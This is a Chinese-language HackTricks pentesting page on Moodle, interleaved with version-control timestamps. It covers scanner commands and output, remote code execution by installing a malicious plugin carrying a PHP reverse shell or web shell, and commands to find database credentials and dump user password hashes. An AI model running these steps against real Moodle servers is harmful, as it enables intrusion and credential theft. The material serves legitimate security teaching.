2022-05-24 00:07:19 +00:00
|
|
|
|
# Moodle
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-12-31 02:59:27 +00:00
|
|
|
|
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-12-31 02:59:27 +00:00
|
|
|
|
支持HackTricks的其他方式:
|
|
|
|
|
|
|
|
|
|
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
|
|
|
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
|
|
|
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
2023-12-31 02:59:27 +00:00
|
|
|
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
2022-05-24 00:07:19 +00:00
|
|
|
|
|
2023-12-31 02:59:27 +00:00
|
|
|
|
如果您对**黑客职业**感兴趣,并且想要黑入不可黑的系统 - **我们正在招聘!**(_需要流利的波兰语书写和口语_)。
|
2022-05-24 00:07:19 +00:00
|
|
|
|
|
|
|
|
|
{% embed url="https://www.stmcyber.com/careers" %}
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 自动扫描
|
2021-04-05 22:03:17 +00:00
|
|
|
|
|
2022-05-24 00:07:19 +00:00
|
|
|
|
### droopescan
|
2021-04-07 22:08:15 +00:00
|
|
|
|
```bash
|
|
|
|
|
pip3 install droopescan
|
|
|
|
|
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
[+] Plugins found:
|
|
|
|
|
forum http://moodle.schooled.htb/moodle/mod/forum/
|
|
|
|
|
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
|
|
|
|
|
http://moodle.schooled.htb/moodle/mod/forum/version.php
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
|
|
|
|
[+] No themes found.
|
|
|
|
|
|
|
|
|
|
[+] Possible version(s):
|
2023-08-03 19:12:22 +00:00
|
|
|
|
3.10.0-beta
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
|
|
|
|
[+] Possible interesting urls found:
|
2023-08-03 19:12:22 +00:00
|
|
|
|
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
|
|
|
|
|
Admin panel - http://moodle.schooled.htb/moodle/login/
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
|
|
|
|
[+] Scan finished (0:00:05.643539 elapsed)
|
|
|
|
|
```
|
2022-05-24 00:07:19 +00:00
|
|
|
|
### moodlescan
|
2021-04-07 22:08:15 +00:00
|
|
|
|
```bash
|
|
|
|
|
#Install from https://github.com/inc0d3/moodlescan
|
|
|
|
|
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
|
|
|
|
|
|
|
|
|
|
Version 0.7 - Dic/2020
|
|
|
|
|
.............................................................................................................
|
|
|
|
|
|
|
|
|
|
By Victor Herrera - supported by www.incode.cl
|
2023-08-03 19:12:22 +00:00
|
|
|
|
|
2021-04-07 22:08:15 +00:00
|
|
|
|
.............................................................................................................
|
|
|
|
|
|
|
|
|
|
Getting server information http://moodle.schooled.htb/moodle/ ...
|
|
|
|
|
|
|
|
|
|
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
|
|
|
|
|
x-powered-by : PHP/7.4.15
|
|
|
|
|
x-frame-options : sameorigin
|
|
|
|
|
last-modified : Wed, 07 Apr 2021 21:33:41 GMT
|
|
|
|
|
|
|
|
|
|
Getting moodle version...
|
|
|
|
|
|
|
|
|
|
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
|
|
|
|
|
|
|
|
|
|
Searching vulnerabilities...
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Vulnerabilities found: 0
|
|
|
|
|
|
|
|
|
|
Scan completed.
|
|
|
|
|
```
|
2022-05-24 00:07:19 +00:00
|
|
|
|
### CMSMap
|
2021-04-07 22:08:15 +00:00
|
|
|
|
```bash
|
2022-10-27 15:22:10 +00:00
|
|
|
|
pip3 install git+https://github.com/dionach/CMSmap.git
|
2021-04-07 22:08:15 +00:00
|
|
|
|
cmsmap http://moodle.example.com/<moodle_path>
|
|
|
|
|
```
|
2022-05-24 00:07:19 +00:00
|
|
|
|
### CVEs
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
2023-12-31 02:59:27 +00:00
|
|
|
|
我发现自动化工具在**发现影响moodle版本的漏洞**方面几乎**无用**。你可以在[**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)上**检查**它们。
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
## **RCE**
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
你需要拥有**管理员**角色,并且可以在**"网站管理"**标签下**安装插件**:
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
2021-10-18 11:21:18 +00:00
|
|
|
|
![](<../../.gitbook/assets/image (447).png>)
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
如果你是管理员,你可能仍需要**激活这个选项**。你可以在moodle权限提升PoC中看到如何操作:[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
然后,你可以**安装以下插件**,它包含了经典的pentest-monkey php r**ev shell**(_在上传之前你需要解压它,更改revshell的IP和端口,然后再次压缩它_)
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
|
|
|
|
{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
|
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
或者你可以使用来自[https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE)的插件来获取带有"cmd"参数的常规PHP shell。
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
要访问并启动恶意插件,你需要访问:
|
2021-04-07 22:08:15 +00:00
|
|
|
|
```bash
|
|
|
|
|
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
|
|
|
|
|
```
|
2022-05-24 00:07:19 +00:00
|
|
|
|
## POST
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
### 查找数据库凭证
|
2021-04-07 22:08:15 +00:00
|
|
|
|
```bash
|
|
|
|
|
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
|
|
|
|
|
```
|
2023-12-31 02:59:27 +00:00
|
|
|
|
### 从数据库中转储凭证
|
2021-04-05 22:03:17 +00:00
|
|
|
|
```bash
|
|
|
|
|
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
|
|
|
|
|
```
|
2023-12-31 02:59:27 +00:00
|
|
|
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-12-31 02:59:27 +00:00
|
|
|
|
如果您对**黑客职业**感兴趣,并且想要黑进那些看似不可黑的系统 - **我们正在招聘!**(_需要流利的波兰语书写和口语_)。
|
2022-05-24 00:07:19 +00:00
|
|
|
|
|
|
|
|
|
{% embed url="https://www.stmcyber.com/careers" %}
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-12-31 02:59:27 +00:00
|
|
|
|
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
|
|
|
|
|
|
|
|
|
其他支持HackTricks的方式:
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-12-31 02:59:27 +00:00
|
|
|
|
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
|
|
|
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
|
|
|
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|